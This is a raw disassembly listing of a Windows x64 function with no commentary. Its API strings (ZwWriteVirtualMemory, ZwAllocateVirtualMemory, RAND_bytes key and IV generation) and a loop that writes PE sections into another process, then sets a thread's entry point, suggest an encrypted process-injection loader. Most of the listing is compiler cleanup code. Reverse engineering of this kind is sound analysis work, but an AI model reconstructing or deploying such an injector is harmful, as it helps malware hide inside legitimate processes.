lea rcx, [rbp + 0x620]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x5e0]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x5c0]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x588]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x550]
call fcn.140009cb0
nop
lea rcx, [rbp + 0x568]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x508]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x4f0]
call fcn.140009cb0
nop
lea rcx, [rbp + 0x530]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x5a8]
call fcn.140009cb0
jmp 0x140009060
mov edi, 4
mov rax, qword gs:[0x58]
add rdi, qword [rax]
mov eax, dword [rdi]
cmp dword [0x142e41888], eax
jle 0x14000847d
lea rcx, [0x142e41888]
call fcn.14000dc48
cmp dword [0x142e41888], 0xffffffff
jne 0x14000847d
mov edx, 0x20
lea rcx, [0x142e41868]
call fcn.14000a700
lea rcx, [0x14000f7e0]
call fcn.14000e0a0
nop
lea rcx, [0x142e41888]
call fcn.14000dbdc
mov eax, dword [rdi]
cmp dword [0x142e41864], eax
jle 0x1400084c6
lea rcx, [0x142e41864]
call fcn.14000dc48
cmp dword [0x142e41864], 0xffffffff
jne 0x1400084c6
mov edx, 0x10
lea rcx, [0x142e41898]
call fcn.14000a700
lea rcx, [0x14000f770]
call fcn.14000e0a0
nop
lea rcx, [0x142e41864]
call fcn.14000dbdc
cmp byte [0x142e41850], 0
jne 0x140008514
lea rcx, [0x142e41868]
call fcn.14000a690
mov rcx, rax
mov edx, dword [0x142e41878]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
test eax, eax
je 0x140008539
lea rcx, [0x142e41898]
call fcn.14000a690
mov rcx, rax
mov edx, dword [0x142e418a8]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
test eax, eax
je 0x140008539
mov byte [0x142e41850], 1
lea rdx, str.ZwWriteVirtualMemory
mov rcx, qword [0x140019320]
call fcn.140004040
mov qword [rbp + 8], rax
test rax, rax
jne 0x140008561
lea rdx, str.Failed_to_get_address_of_ZwWriteVirtualMemory.
jmp 0x140008540
lea rdx, str.Error_generating_key_or_IV.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b000
mov rcx, rax
lea rdx, [0x14000b1e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140008390
lea rcx, [rbp + 0x658]
call fcn.140003250
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x658]
call fcn.140004120
nop
lea rcx, [rbp + 0x640]
call fcn.140003250
lea rdx, [rbp + 0x658]
lea rcx, [rbp + 0x640]
call fcn.1400042b0
nop
mov rax, qword [rbp + 0x640]
mov rsi, qword [rax]
mov r9d, dword [r15 + 0x54]
lea rax, [rbp + 0x6e0]
mov qword [rsp + 0x20], rax
lea r13, [0x1400170d0]
mov r8, r13
mov rdx, qword [rbp - 0x30]
mov rcx, qword [r14]
call rsi
mov rdi, r12
cmp r12w, word [r15 + 6]
jae 0x140008632
mov rbx, r12
mov r12, qword [rbp - 0x38]
nop dword [rax]
movsxd rax, dword [0x14001710c]
add rax, rbx
mov r9d, dword [rax + r13 + 0x118]
mov r8d, dword [rax + r13 + 0x11c]
add r8, r13
mov edx, dword [rax + r13 + 0x114]
add rdx, qword [rbp - 0x30]
xor eax, eax
mov qword [rsp + 0x20], rax
mov rcx, qword [r14]
call r12
test eax, eax
je 0x14000871a
inc rdi
add rbx, 0x28
movzx eax, word [r15 + 6]
cmp rdi, rax
jb 0x1400085e0
xor r12d, r12d
mov rdx, qword [rbp + 0xa8]
add rdx, 0x10
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rbp - 0x30]
mov rcx, qword [r14]
call rsi
test eax, eax
je 0x1400087db
mov edx, 0xfffffff7
mov rcx, qword [r14]
call qword [0x142e41830]
nop
lea rcx, [rbp + 0x640]
call fcn.140009cb0
nop
lea rcx, [rbp + 0x658]
call fcn.140009cb0
nop
lea rcx, [rbp + 0x600]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x620]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x5e0]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x5c0]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x588]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x550]
call fcn.140009cb0
nop
lea rcx, [rbp + 0x568]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x508]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x4f0]
call fcn.140009cb0
nop
lea rcx, [rbp + 0x530]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x5a8]
call fcn.140009cb0
mov eax, 0xfffffff7
jmp 0x140009065
mov edx, 0xfffffff8
mov rcx, qword [r14]
call qword [0x142e41830]
nop
lea rcx, [rbp + 0x640]
call fcn.140009cb0
nop
lea rcx, [rbp + 0x658]
call fcn.140009cb0
nop
lea rcx, [rbp + 0x600]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x620]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x5e0]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x5c0]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x588]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x550]
call fcn.140009cb0
nop
lea rcx, [rbp + 0x568]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x508]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x4f0]
call fcn.140009cb0
nop
lea rcx, [rbp + 0x530]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x5a8]
call fcn.140009cb0
mov eax, 0xfffffff8
jmp 0x140009065
mov eax, dword [r15 + 0x28]
add rax, qword [rbp - 0x30]
mov qword [rbp + 0xa0], rax
lea rdx, [rbp + 0x20]
mov rcx, qword [r14 + 8]
call qword [rsp + 0x58]
lea rcx, [rbp + 0x6c0]
call fcn.140003620
nop
lea rcx, [rbp + 0x6c0]
call fcn.14000a690
mov rdx, rax
mov rcx, qword [0x140019320]
call fcn.140004040
test rax, rax
jne 0x140008881
lea rdx, str.Failed_to_get_address_of
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b000
mov rcx, rax
lea rdx, [rbp + 0x6c0]
call fcn.14000b220
mov rcx, rax
lea rdx, [0x14000b1e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x6c0]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x640]
call fcn.140009cb0
nop
lea rcx, [rbp + 0x658]
call fcn.140009cb0
jmp 0x1400067ce
xor edx, edx
mov rcx, qword [r14 + 8]
call rax
test eax, eax
je 0x14000895f
mov edx, 0xfffffff5
mov rcx, qword [r14]
call qword [0x142e41830]
nop
lea rcx, [rbp + 0x6c0]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x640]
call fcn.140009cb0
nop
lea rcx, [rbp + 0x658]
call fcn.140009cb0
nop
lea rcx, [rbp + 0x600]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x620]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x5e0]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x5c0]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x588]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x550]
call fcn.140009cb0
nop
lea rcx, [rbp + 0x568]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x508]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x4f0]
call fcn.140009cb0
nop
lea rcx, [rbp + 0x530]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x5a8]
call fcn.140009cb0
mov eax, 0xfffffff5
jmp 0x140009065
lea rcx, [rbp + 0x6c0]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x640]
call fcn.140009cb0
nop
lea rcx, [rbp + 0x658]
call fcn.140009cb0
nop
lea rcx, [rbp + 0x600]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x620]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x5e0]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x5c0]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x588]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x550]
call fcn.140009cb0
nop
lea rcx, [rbp + 0x568]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x508]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x4f0]
call fcn.140009cb0
nop
lea rcx, [rbp + 0x530]
call fcn.14000a6a0
nop
lea rcx, [rbp + 0x5a8]
call fcn.140009cb0
xor eax, eax
jmp 0x140009065
lea rdx, str.ZwAllocateVirtualMemory_failed
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b000
mov rcx, rax
lea rdx, [0x14000b1e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0xfffffffa
mov rcx, qword [r14]
call qword [0x142e41830]
nop
mov rdx, qword [rbp + 0x618]
cmp rdx, 0xf
jbe 0x140008a92
inc rdx
mov rcx, qword [rbp + 0x600]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008a8c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008a8c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x610], r12
mov qword [rbp + 0x618], 0xf
mov byte [rbp + 0x600], 0
mov rdx, qword [rbp + 0x638]
cmp rdx, 0xf
jbe 0x140008af0
inc rdx
mov rcx, qword [rbp + 0x620]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008aea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008aea
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x630], r12
mov qword [rbp + 0x638], 0xf
mov byte [rbp + 0x620], 0
mov rdx, qword [rbp + 0x5f8]
cmp rdx, 0xf
jbe 0x140008b4e
inc rdx
mov rcx, qword [rbp + 0x5e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008b48
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008b48
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x5f0], r12
mov qword [rbp + 0x5f8], 0xf
mov byte [rbp + 0x5e0], 0
mov rdx, qword [rbp + 0x5d8]
cmp rdx, 0xf
jbe 0x140008bac
inc rdx
mov rcx, qword [rbp + 0x5c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008ba6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008ba6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x5d0], r12
mov qword [rbp + 0x5d8], 0xf
mov byte [rbp + 0x5c0], 0
mov rdx, qword [rbp + 0x5a0]
cmp rdx, 0xf
jbe 0x140008c0a
inc rdx
mov rcx, qword [rbp + 0x588]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008c04
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008c04
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x598], r12
mov qword [rbp + 0x5a0], 0xf
mov byte [rbp + 0x588], 0
mov rcx, qword [rbp + 0x550]
test rcx, rcx
je 0x140008c79
mov rdx, qword [rbp + 0x560]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008c61
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008c61
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x550], xmm0
mov qword [rbp + 0x560], r12
mov rdx, qword [rbp + 0x580]
cmp rdx, 0xf
jbe 0x140008cbe
inc rdx
mov rcx, qword [rbp + 0x568]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008cb8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008cb8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x578], r12
mov qword [rbp + 0x580], 0xf
mov byte [rbp + 0x568], 0
mov rdx, qword [rbp + 0x520]
cmp rdx, 0xf
jbe 0x140008d1c
inc rdx
mov rcx, qword [rbp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008d16
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008d16
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x518], r12
mov qword [rbp + 0x520], 0xf
mov byte [rbp + 0x508], 0
mov rcx, qword [rbp + 0x4f0]
test rcx, rcx
je 0x140008d8b
mov rdx, qword [rbp + 0x500]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008d73
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008d73
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], r12
mov rdx, qword [rbp + 0x548]
cmp rdx, 0xf
jbe 0x140008dd0
inc rdx
mov rcx, qword [rbp + 0x530]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008dca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008dca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x540], r12
mov qword [rbp + 0x548], 0xf
mov byte [rbp + 0x530], 0
mov rcx, qword [rbp + 0x5a8]
test rcx, rcx
je 0x140008e2d
mov rdx, qword [rbp + 0x5b8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008e27
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008e27
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov eax, 0xfffffffa
jmp 0x140009065
call fcn.14000e0b8
nop
mov qword [rbp + 0x598], r12
mov qword [rbp + 0x5a0], 0xf
mov byte [rbp + 0x588], 0
mov rcx, qword [rbp + 0x550]
test rcx, rcx
je 0x140008eac
mov rdx, qword [rbp + 0x560]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008e94
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008e94
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x550], xmm0
mov qword [rbp + 0x560], r12
mov rdx, qword [rbp + 0x580]
cmp rdx, 0xf
jbe 0x140008ef1
inc rdx
mov rcx, qword [rbp + 0x568]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008eeb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008eeb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x578], r12
mov qword [rbp + 0x580], 0xf
mov byte [rbp + 0x568], 0
mov rdx, qword [rbp + 0x520]
cmp rdx, 0xf
jbe 0x140008f4f
inc rdx
mov rcx, qword [rbp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008f49
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008f49
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x518], r12
mov qword [rbp + 0x520], 0xf
mov byte [rbp + 0x508], 0
mov rcx, qword [rbp + 0x4f0]
test rcx, rcx
je 0x140008fbe
mov rdx, qword [rbp + 0x500]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008fa6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008fa6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], r12
mov rdx, qword [rbp + 0x548]
cmp rdx, 0xf
jbe 0x140009003
inc rdx
mov rcx, qword [rbp + 0x530]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008ffd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008ffd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov qword [rbp + 0x540], r12
mov qword [rbp + 0x548], 0xf
mov byte [rbp + 0x530], 0
mov rcx, qword [rbp + 0x5a8]
test rcx, rcx
je 0x140009060
mov rdx, qword [rbp + 0x5b8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000905a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000905a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e0b8
nop
mov eax, 0xffffffff
mov rcx, qword [rbp + 0x1ed0]
xor rcx, rsp
call fcn.14000db80
mov rbx, qword [rsp + 0x2030]
add rsp, 0x1fe0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret